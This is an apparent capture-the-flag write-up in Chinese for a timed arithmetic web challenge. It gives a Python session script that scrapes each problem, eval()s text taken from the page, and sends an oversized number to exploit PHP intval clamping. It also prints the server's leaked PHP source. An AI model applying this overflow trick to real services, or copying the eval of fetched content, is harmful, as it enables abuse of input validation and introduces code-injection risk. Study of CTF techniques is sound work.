1.打开环境,发现如此,应该是要写脚本帮助我们答题:
附上自己写的脚本:
import requests
import re
import time
import random
url="http://1.14.71.254:28840/"
s = requests.Session()
res = s.get(url=url)
while(True):
r = r">(.)<"
list = re.findall(r,res.text)
args=""
for i in list:
if(i=="="):
continue
args+= i
input1 = "4200000000000000000000"
args="9223372036854775807"+args
ans = (eval(args))
data={
'input':input1,
'ans':ans
}
res = s.post(url=url,data=data)
r = r"现在已经连续答对了(.)次"
count = re.findall(r,res.text)
print(count)
time.sleep(1.5)
print(res.text)
有几个点需要注意:
1.用dirsearch可以扫出来index.php的源码:
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
session_destroy();
echo '
<script language="javascript">
alert("怎么没算对呢?");
window.history.back(-1); </script>';
}
else{
if(intval(time())-$_SESSION['time']<1){
session_destroy();
echo '
<script language="javascript">
alert("你手速太快啦,服务器承受不住!!!");
window.history.back(-1); </script> ';
}
if(intval(time())-$_SESSION['time']>2){
session_destroy();
echo '
<script language="javascript">
alert("你算的太慢了少年!");
window.history.back(-1); </script> ';
}
echo '
<script language="javascript">
alert("tql,算对了!!");
</script> ';
$_SESSION['count']++;
}
}
?>
需要用time.sleep()来防止访问过快或过慢。
2.intval处理21位以上的数会返回固定的值来防止溢出。
3.需要用s=requests.Session()来保持会话的连续性。